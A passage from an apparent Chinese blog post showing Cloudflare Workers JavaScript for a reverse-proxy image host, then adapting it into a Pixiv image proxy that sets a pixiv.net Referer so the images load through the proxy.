new_response_headers.set( \"x-pjax-url\", response_headers .get(\"x-pjax-url\") .replace(\"//\" + upstream_domain, \"//\" + url_hostname) ); } const content_type = new_response_headers.get(\"content-type\"); if ( content_type != null && content_type.includes(\"text/html\") && content_type.includes(\"UTF-8\") ) { original_text = await replace_response_text( original_response_clone, upstream_domain, url_hostname ); } else { original_text = original_response_clone.body; } response = new Response(original_text, { status, headers: new_response_headers, }); } return response;}async function replace_response_text(response, upstream_domain, host_name) { let text = await response.text(); var i, j; for (i in replace_dict) { j = replace_dict[i]; if (i == \"$upstream\") { i = upstream_domain; } else if (i == \"$custom_domain\") { i = host_name; } if (j == \"$upstream\") { j = upstream_domain; } else if (j == \"$custom_domain\") { j = host_name; } let re = new RegExp(i, \"g\"); text = text.replace(re, j); } return text;}async function device_status(user_agent_info) { var agents = [ \"Android\", \"iPhone\", \"SymbianOS\", \"Windows Phone\", \"iPad\", \"iPod\", ]; var flag = true; for (var v = 0; v < agents.length; v++) { if (user_agent_info.indexOf(agents[v]) > 0) { flag = false; break; } } return flag;}\n部署 Worker,然后在设置 - 域和路由中添加自定义域:\n\n现在您的图床应该可以正常访问了。\nhelloworld.jpg (300×384): https://assets.summ2.link/helloworld.jpg\n小彩蛋\n众所周知,似乎在 2020 年前后,Pixiv\n就无法被直接访问了。下面借此机会,尝试搭建一个 Pixiv\n图床的反向代理服务。由于 i.pximg.net\n的盗链保护,得把之前的代码做一些修改。\n// Website you intended to retrieve for users.const upstream = \"i.pximg.net\";// Website you intended to retrieve for users using mobile devices.const upstream_mobile = upstream;// Countries and regions where you wish to suspend your service.const blocked_region = [];// IP addresses which you wish to block from using your service.const blocked_ip_address = [\"0.0.0.0\", \"127.0.0.1\"];// Whether to use HTTPS protocol for upstream address.const https = true;// Whether to disable cache.const disable_cache = false;// Replace texts.const replace_dict = { $upstream: \"$custom_domain\",};addEventListener(\"fetch\", (event) => { event.respondWith(fetchAndApply(event.request));});async function fetchAndApply(request) { const region = request.headers.get(\"cf-ipcountry\")?.toUpperCase(); const ip_address = request.headers.get(\"cf-connecting-ip\"); const user_agent = request.headers.get(\"user-agent\"); let response = null; let url = new URL(request.url); let url_hostname = url.hostname; if (https == true) { url.protocol = \"https:\"; } else { url.protocol = \"http:\"; } if (await device_status(user_agent)) { var upstream_domain = upstream; } else { var upstream_domain = upstream_mobile; } url.host = upstream_domain;/* if (url.pathname == \"/\") { url.pathname = upstream_path; } else { url.pathname = upstream_path + url.pathname; }*/ if (blocked_region.includes(region)) { response = new Response( \"Access denied: WorkersProxy is not available in your region yet.\", { status: 403, } ); } else if (blocked_ip_address.includes(ip_address)) { response = new Response( \"Access denied: Your IP address is blocked by WorkersProxy.\", { status: 403, } ); } else { let method = request.method; let request_headers = request.headers; let new_request_headers = new Headers(request_headers); new_request_headers.set('Referer', 'https://www.pixiv.net/'); let original_response = await fetch(url.href, { method: method, headers: new_request_headers, body: request.body, }); connection_upgrade = new_request_headers.get(\"Upgrade\"); if (connection_upgrade && connection_upgrade.toLowerCase() == \"websocket\") { return original_response; } let original_response_clone = original_response.clone(); let original_text = null; let response_headers = original_response.headers; let new_response_headers = new Headers(response_headers); let status = original_response.status; if (disable_cache) { new_response_headers.set(\"Cache-Control\", \"no-store\"); } else { new_response_headers.set(\"Cache-Control\", \"max-age=43200000\"); } new_response_headers.set(\"access-control-allow-origin\", \"*\"); new_response_headers.set(\"access-control-allow-credentials\", true); new_response_headers.delete(\"content-security-policy\"); new_response_headers.delete(\"content-security-policy-report-only\"); new_response_headers.delete(\"clear-site-data\"); if (new_response_headers.get(\"x-pjax-url\")) { new_response_headers.set( \"x-pjax-url\", response_headers .get(\"x-pjax-url\") .replace(\"//\" + upstream_domain, \"//\" + url_hostname) ); } const content_type = new_response_headers.get(\"content-type\"); if ( content_type != null && content_type.includes(\"text/html\") && content_type.includes(\"UTF-8\") ) { original_text = await replace_response_text( original_response_clone, upstream_domain, url_hostname ); } else { original_text = original_response_clone.body; } response = new Response(original_text, { status, headers: new_response_headers, }); } return response;}async function replace_response_text(response, upstream_domain, host_name) { let text = await response.text(); var i, j; for (i in replace_dict) { j = replace_dict[i]; if (i == \"$upstream\") { i = upstream_domain; } else if (i == \"$custom_domain\") { i = host_name; } if (j == \"$upstream\") { j = upstream_domain; } else if (j == \"$custom_domain\") { j = host_name; } let re = new RegExp(i, \"g\"); text = text.replace(re, j); } return text;}async function device_status(user_agent_info) { var agents = [ \"Android\", \"iPhone\", \"SymbianOS\", \"Windows Phone\", \"iPad\", \"iPod\", ]; var flag = true; for (var v = 0; v < agents.length; v++) { if (user_agent_info.indexOf(agents[v]) > 0) { flag = false; break; } } return flag;}\n事实上实现基本的反代功能,只需要如下代码:\nexport default { async fetch(request) { const url = new URL(request.url); url.hostname = 'i.pximg.net'; const proxyRequest = new Request(url, request); proxyRequest.headers.set('Referer', 'https://www.pixiv.net/'); return fetch(proxyRequest); },};\n部署在 pixiv.summ2.link 上,它可以成功配置在 PixEz(一个 Pixiv\n第三方客户端)中。\nExample:\nhttps://pixiv.summ2.link/img-original/img/2023/11/20/18/53/42/113565191_p0.jpg\n参考\n\n\n\nhttps://en.wikipedia.org/wiki/Proxy_server↩︎\nhttps://en.wikipedia.org/wiki/Reverse_proxy↩︎\n\n\n","categories":["Web"],"tags":["Reverse Proxy"]}]